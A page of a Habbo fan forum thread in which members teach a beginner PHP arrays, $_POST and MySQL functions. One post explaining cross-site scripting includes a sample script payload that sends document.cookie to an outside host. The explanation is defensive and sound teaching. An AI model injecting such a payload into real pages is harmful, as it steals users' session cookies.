Discover Habbo's history
Treat yourself with a Secret Santa gift.... of a random Wiki page for you to start exploring Habbo's history!
Happy holidays!
Celebrate with us at Habbox on the hotel, on our Forum and right here!
Join Habbox!
One of us! One of us! Click here to see the roles you could take as part of the Habbox community!


Page 2 of 4 FirstFirst 1234 LastLast
Results 11 to 20 of 37
  1. #11
    Join Date
    Jun 2008
    Location
    United Kingdom
    Posts
    2,015
    Tokens
    568

    Latest Awards:

    Default

    Quote Originally Posted by Obulus View Post
    I actualthink i get the basics of it now
    Thanks alot, that post above helped alot lol
    You're welcome
    The person who wrote it also wrote a few other helpful tutorials - http://devzone.zend.com/node/view/id/627

  2. #12
    Join Date
    Apr 2008
    Location
    Derby
    Posts
    4,668
    Tokens
    262

    Latest Awards:

    Default

    Quote Originally Posted by Trinity View Post
    You're welcome
    The person who wrote it also wrote a few other helpful tutorials - http://devzone.zend.com/node/view/id/627

    Thanks!
    Back for a while

  3. #13
    Join Date
    Mar 2008
    Posts
    5,108
    Tokens
    3,780

    Latest Awards:

    Default

    I'll try to explain this in my own words.

    An array is a structured container for information. Imagine it like a database table.

    If you compare it to a variable, variables can only store one thing. It can store only one thing.. and you call it $blah.

    Arrays though, can store multiple things, structured inside of it's system.

    Imagine a variable like a file, it can hold contents.. but an Array like an entire file system.. it can hold folders, files, etc.

    Each array has items inside it, they are structured with a key (imagine this like an ID), and a value.

    Each key has a value, they can also be null (blank).



    The key on the left side is what you call from PHP.

    PHP Code:
    $users = array("caleb""obulus""sierk");

    echo 
    $users[0]; // would display: caleb
    echo $users[1]; // would display: obulus 
    But keys do not have to be numbers.. imagine you have an array like this.

    You have the key to be the user's username, and the value to be their full name.



    So in this case, if we have this array:

    PHP Code:
    <?php
    $users 
    = array("caleb" => "caleb mingle""obulus" => "obulus slobulus""sierk" => "sierk rosema");

    /* If we do.. */
    echo $users[0]; // it will not display anything.. because we do not have a 0 key.

    /* If we do.. */
    echo $users["caleb"]; // it will display: caleb mingle
    echo $users["obulus"]; // it will display: obulus slobulus
    ?>
    But arrays can get more complicated then this.. next we have multidimensional arrays.. these add even more structure to them..



    PHP Code:
    <?php
    /* lets setup the array.. */

    $users = array("caleb" => array("username" => "caleb""dob" => "6-26-89""email" => "[email protected]""homepage" => "http://dentafrice.com"), "sierk" => array("username" => "sierk""email" => "[email protected]")); 

    // notice we have arrays.. inside of arrays.. but how do we access this?

    // to get caleb's homepage.. we do this:

    echo $users["caleb"]["homepage"]; // this accesses homepage, inside of caleb.

    echo $users["sierk"]["homepage"]; // this will display nothing, it's not set.

    echo $users["caleb"]; // will echo nothing, it has no value.
    ?>
    Hopefully this has helped a little bit

  4. #14
    Join Date
    Apr 2008
    Location
    Derby
    Posts
    4,668
    Tokens
    262

    Latest Awards:

    Default

    That was amazing,

    Just one quick question,

    I see how they are formed and used but in which sort of php application might you see them, and can you put vars in arrays?

    Thanks, Rep given!
    Back for a while

  5. #15
    Join Date
    Mar 2008
    Posts
    5,108
    Tokens
    3,780

    Latest Awards:

    Default

    Yeah, you can put variables in to arrays.

    PHP Code:
    $username "Caleb";
    $email "[email protected]";

    $users = array("username" => $username"email" => $email); 
    mysql_fetch_array() pulls results from the database in an array.

    You can use them for multiple things, I can't really think of any specifics that you could understand other then what I showed you.

    It's basically to structure and store data.

    $_POST is an array..

    $_POST["blah"], that's an array.

    Array $_POST
    "blah" - hello

    Hello is the value posted, blah is the field from the form. That's an example ;P

  6. #16
    Join Date
    Apr 2008
    Location
    Derby
    Posts
    4,668
    Tokens
    262

    Latest Awards:

    Default

    Oh! So when a user submits data in a form, you can grab the information and displt from the form before, so say like a form which has name, email and comment, you could in the follow up page display ''Thanks Callum for your comment'' and the Callum would obviously have come from the form input before?

    Ty for the help again =D
    Back for a while

  7. #17
    Join Date
    Mar 2008
    Posts
    5,108
    Tokens
    3,780

    Latest Awards:

    Default

    Yep, but you would need to clean it before displaying it to prevent XSS.

  8. #18
    Join Date
    Apr 2008
    Location
    Derby
    Posts
    4,668
    Tokens
    262

    Latest Awards:

    Default

    Whats XSS?

    tehe, i feel like such a noooob asking all these questions ^^ tehe
    Back for a while

  9. #19
    Join Date
    Mar 2008
    Posts
    5,108
    Tokens
    3,780

    Latest Awards:

    Default

    Cross Site Scripting.

    Meaning someone could type something in an input, or a GET, and you display it on a page without cleaning it.

    Someone could type <script type="text/javascript">window.location = "http://mysite.com/blah.php?data=" + document.cookie;</script> and it would redirect them to that stealing a cookie.

    They could also mess up the page through XSS, and change things.

  10. #20
    Join Date
    May 2006
    Location
    Hull
    Posts
    7,701
    Tokens
    2,430
    Habbo
    Moh

    Latest Awards:

    Default

    If you going to be working with databases, then another must know will be MySQL

    http://uk.php.net/mysql

    You only need to know three functions for basics.

    mysql_connect - http://uk.php.net/manual/en/function.mysql-connect.php

    mysql_query - http://uk.php.net/manual/en/function.mysql-query.php

    mysql_fetch_array - http://uk.php.net/manual/en/function...etch-array.php

Page 2 of 4 FirstFirst 1234 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •